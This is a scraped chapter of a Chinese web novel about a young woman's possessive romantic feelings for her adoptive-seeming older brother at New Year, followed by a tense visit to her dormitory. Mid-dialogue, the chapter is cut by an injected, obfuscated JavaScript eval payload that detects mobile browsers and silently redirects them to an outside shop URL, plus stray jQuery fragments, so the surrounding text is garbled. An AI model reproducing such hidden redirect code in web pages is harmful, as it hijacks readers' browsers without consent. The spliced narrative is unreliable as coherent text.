文趣网 > 都市小说 > 只有你 > 29. 第 29 章
    她怎么可能答应。

    光是想象那场景鸡皮疙瘩都出来了。

    “不要中医。”路昭摇头跟拨浪鼓似的,随即扔了调羹到碗里,“我不喝了。”

    见状,许江树顿了一下:“怎么对看医生排斥?”

    路昭拿起了筷子,故作轻松道:“没病啊。哎呀,就是不想去医院。好了哥哥,我得吃饭了。”

    尽管觉得路昭奇了怪,许江树没打破砂锅问到底。

    没几天就要到除夕。

    路昭接到了卫澜发来的消息。

    上面说:【小昭,你不愿意去路家过年,但得去拜年,他们到底是你亲人,我替你准备了东西,别带果篮。】

    路昭看了片刻,敲字:【你现在在哪儿?】

    卫澜:【加拿大。】

    路昭心底一紧,她知道卫澜有一个孩子。

    姓卫,在国外。

    其它的,路昭一概不知。

    那个孩子被保护的很好。

    事实上,路昭一点都不介意卫澜有其他孩子。只是为什么她能姓卫呢。

    路昭把手机熄屏了。

    半晌,她又解锁。

    乱七八糟想了一堆,路昭最终把手机丢在一旁。

    算了算了算了。

    还是算了。

    良久,门铃响起,吴婶拿了几个礼盒进来。

    路昭看了一眼,眼神淡:“让司机送到路家。告诉他们,提前拜年了。”

    “好的。”

    下午,路昭接到了路父的消息,谴责她有没有把长辈放在眼里。

    路昭没回复。

    以前她有在路家住过,路父从来都没把她放在眼里,也未曾教育她。

    有时喝了酒,把她当成卫澜冷嘲热讽的。

    那些话很难听。

    她只能用力捂住耳朵,不去听那些,可抵不住尖锐的嗓音。

    所以为什么他会觉得自己要去尊重他?

    路昭不能理解。

    她截图,然后发给卫澜,配了一句话:【以后你自己送吧。】

    让她带礼上门拜年,不就是等于是把Jerry送给Tom吗?

    况且他们都还没Tom对Jerry好。

    -

    除夕那天,家里只有路昭和许江树两人。

    一大早,她们在准备过年要用的窗花之类的东西。

    原本放假前吴婶要贴的,但被路昭拒绝了。

    新年的仪式感得自己来。

    路昭拿着窗花走到窗户边上,她比了一下,然而旁边的光线暗下来。

    路昭知道许江树此刻站在她身后。

    只觉得背后涌出一股又酥又麻的感觉。路昭舔了舔下唇,才侧头向他望去。

    许江树双手插兜,垂睫看着她。

    路昭:“哥哥想偷懒吗?”

    许江树听了轻笑出声,随即伸出一只手从路昭身侧越过,然后拿起窗花。

    路昭忽然意识到这个举动有点像是自己被许江树抱在怀里。

    她缓缓抬眼。

    有点可惜。许江树并没流露出任何暧昧意味,依旧是那副好哥哥模样。

    导致这个行为没了什么缱绻。

    嗯。

    就不能改改?路昭心里吐槽。

    很快,许江树注意到路昭一动不动,嘴角还撇了一下,小心思全摆在脸上,骂人呢,他说:“嗯?”

    “我,”路昭条件反射找到合理借口,“你抢我的干嘛?桌上那么多。”

    许江树稍扬眉,原来被骂的对象是自己,他调笑道:“哥哥这不是接替你么。”

    “我也要自己贴。”

    许江树把窗花还给路昭。

    路昭接过:“你重新拿一个贴。”

    贴窗花,挂福字,屋子红彤彤的,喜庆、热闹。

    晚上的年夜饭吃完,许江树在厨房善后,然而他的手机弹出消息。

    不用解锁,也能知道谁发来的内容。

    江毕之让他明天去江家老宅。

    路昭心事重重的。

    她知道江毕之一直都在想办法为许江树介绍女孩,想他赶快成家。

    许江树这个年龄确实该考虑结婚的事了。

    而她还在读书。

    一个工作,一个读书。

    可其实,他们之间隔着的不仅仅是年龄,还有那道坎。

    她敢。

    敢跨过那道坎去爱许江树。

    许江树呢?

    他敢吗?

    她好想冲上去问:许江树,你敢不敢爱我?!!

    路昭叹气。

    正好回来的许江树听到了:“遇见烦心事了?”

    “嗯,挺烦的。”

    “和哥哥说说,哥哥给你解决。”

    路昭抬睫扫了他一眼,随即点点头,又摇摇头。

    许江树把苹果放在茶几上,便坐在路昭旁边:“所以是哥哥能解决,还是不能。”

    路昭咬着下唇:“我想,应该能吧。”

    许江树懒洋洋道:“什么天大的事?哥哥只能应该能。”

    “那你是胆小鬼吗?”

    许江树扬眉:“不是。”

    “你撒谎。”

    许江树:“我为什么要撒谎。”

    “那你敢不敢,”路昭顿了顿,想了措辞,“敢不敢以后过年只能和我过,就我们两个人,就像今天一样。”

    没有别人,就我和你。

    这个与敢不敢有什么关系,难道不是应该?许江树渐渐沉下目光:“我们那一年不都这样?”

    那是以前。

    以前我们不用考虑什么,你也不用被父亲强迫相亲。

    路昭视线回到茶几,审视着碗里的苹果,隐晦道:“可是我们都要长大。”

    许江树听懂这话,却读不懂:“我们已经长大了。”

    路昭:“可是我看到了你消息。”

    许江树大概明白了什么,他没去看手机,而是轻轻弹了路昭额头,笑问:“怎么那么不信哥哥啊?”

    “我没不信你。”路昭目光坚定地对上许江树漆黑的瞳仁,说出了大胆的话,“哥哥,我是一个小气的人,我不允许你身边有人出现。”

    许江树面色未改,可他沉默了。

    路昭像个执着的小孩子:“我不允许,你听了吗?哥哥。”

    路昭没有紧张和害怕。

    她就是要让许江树知道,她不喜欢他身边出现别人。

    两人保持了一段时间的沉默。

    谁也没说话。

    也不知道过了多久,许江树扯唇:“好,哥哥身边不出现其他人。”

    可是得到了答复,路昭微微错愕。

    奇奇怪怪,许江树不应该是这样的反应。

    她对他的占有欲太不正常了,他难道不该教育自己,说哥哥和妹妹将来总要有自己家庭之类的话吗?

    为什么就这样答应了?

    路昭趁热打铁直接问了出来。

    因为她在期待着,许江树是不是也抱着和她同一个想法。

    有着丁点儿的期待,路昭心脏狂跳。

    “我一心…”冒出几字,许江树顿了片刻,才说,“二用

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597542|202031||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了。照顾你,还得工作,实在没多余精力再去照顾另一个人。”

    正如期待越大,失望也就越大。

    路昭脸上表情控制不住气馁和失落。

    她“哦”了一声,不再说话,便往电视方向看。

    正好是一个小品节目,表演者是能说得出来的演员。

    很搞笑。

    她笑不出来。

    时间不知不觉快十二点。

    主持人们在倒计时。

    钟声响起,新的一年到来。

    在这个时候,手机震动了,路昭去拿时,不小心刮到了许江树。

    路昭侧头垂眼,他的手什么时候也放在沙发上了?

    这个不是重点。

    重点是,路昭看到许江树手背的抓伤。

    一条极细的伤痕,沁出的血凝固了。

    像一条红线。

    路昭抬头:“我去拿碘伏棉签。”

    “不用,就一小伤。”

    路昭不同意:“会感染的。”

    话一说完,路昭就自顾自翻出药箱,拿出碘伏棉签给许江树擦拭伤口。

    然而,路昭心思飘了。

    她的指甲没剪磨好,小刺刮到他了,制作出了红线。

    她是她们月老。

    路昭无声地笑了。

    老天也是在助她。

    路昭决定了。

    她不打算表白。

    那东西不属于她们这样的特殊群体。

    直接上手才是最好的效果。

    退一步来说,妹妹就不能和哥哥有点肢体接触吗?!

    -

    转眼,寒假过了。

    开学没多久,她们宿舍迎来了一位不速之客。

    范洲的母亲。

    可她一进门见到里面的女孩们,眉心瞬间紧皱。

    崔瑾是第一个注意到:“阿姨,您有事吗?”

    范洲的母亲视线落在路昭身上,或许是没料到路昭竟然会住在四人寝。

    可来都来了,她不能忘了她的事。

    然后朝着闻轻方向看去,邀请她去学校附近的咖啡厅。

    闻轻猜到范母的意图,只是奇怪,她们在一起时,不来找她,偏等到她们断了后才来:“阿姨,我与您儿子没任何关系。您找我倒是找错了。”

    “我找的,就是你。”

    崔瑾虽说娇纵了些,可她很护犊子:“阿姨,您有事找您儿子呗,让他别出来祸害人了。”

    范洲母亲脸色一变。

    “若您真有事,就在这儿说吧,放心,”路昭说,“规矩我们都懂,该装聋装聋,该装瞎装瞎。”

    崔瑾打着配合:“就是,阿姨,您放心大胆说吧。”

    范洲母亲又将目光投向路昭。

    路昭不喜欢那样的眼神,像是把她当猎物看待,她连敷衍都懒得敷衍:“阿姨,您没事就别打扰我们。”

    范洲母亲又一次喊了闻轻。

    路昭知道得搬出另一座大山来,她悠悠道:“闻轻,出去早点回来,范云筝还等着我们喝咖啡。”

    大概是提到范云筝,范洲母亲似气极,声音像从后槽牙发出:“耽误不了多久,我们早去早回。”

    闻轻见两室友极力维护自己,她不能拖后腿:“阿姨,若您为了范洲,我们没什么好谈的,我和他的事已经过去了。”

    范洲母亲非但没更加气,反而笑了笑。

    在离开前,她再一次盯上路昭。

    路昭沉下心,从范洲母亲第一次看向自己时,就已经不对劲了。

    这一刻,更是达到了巅峰。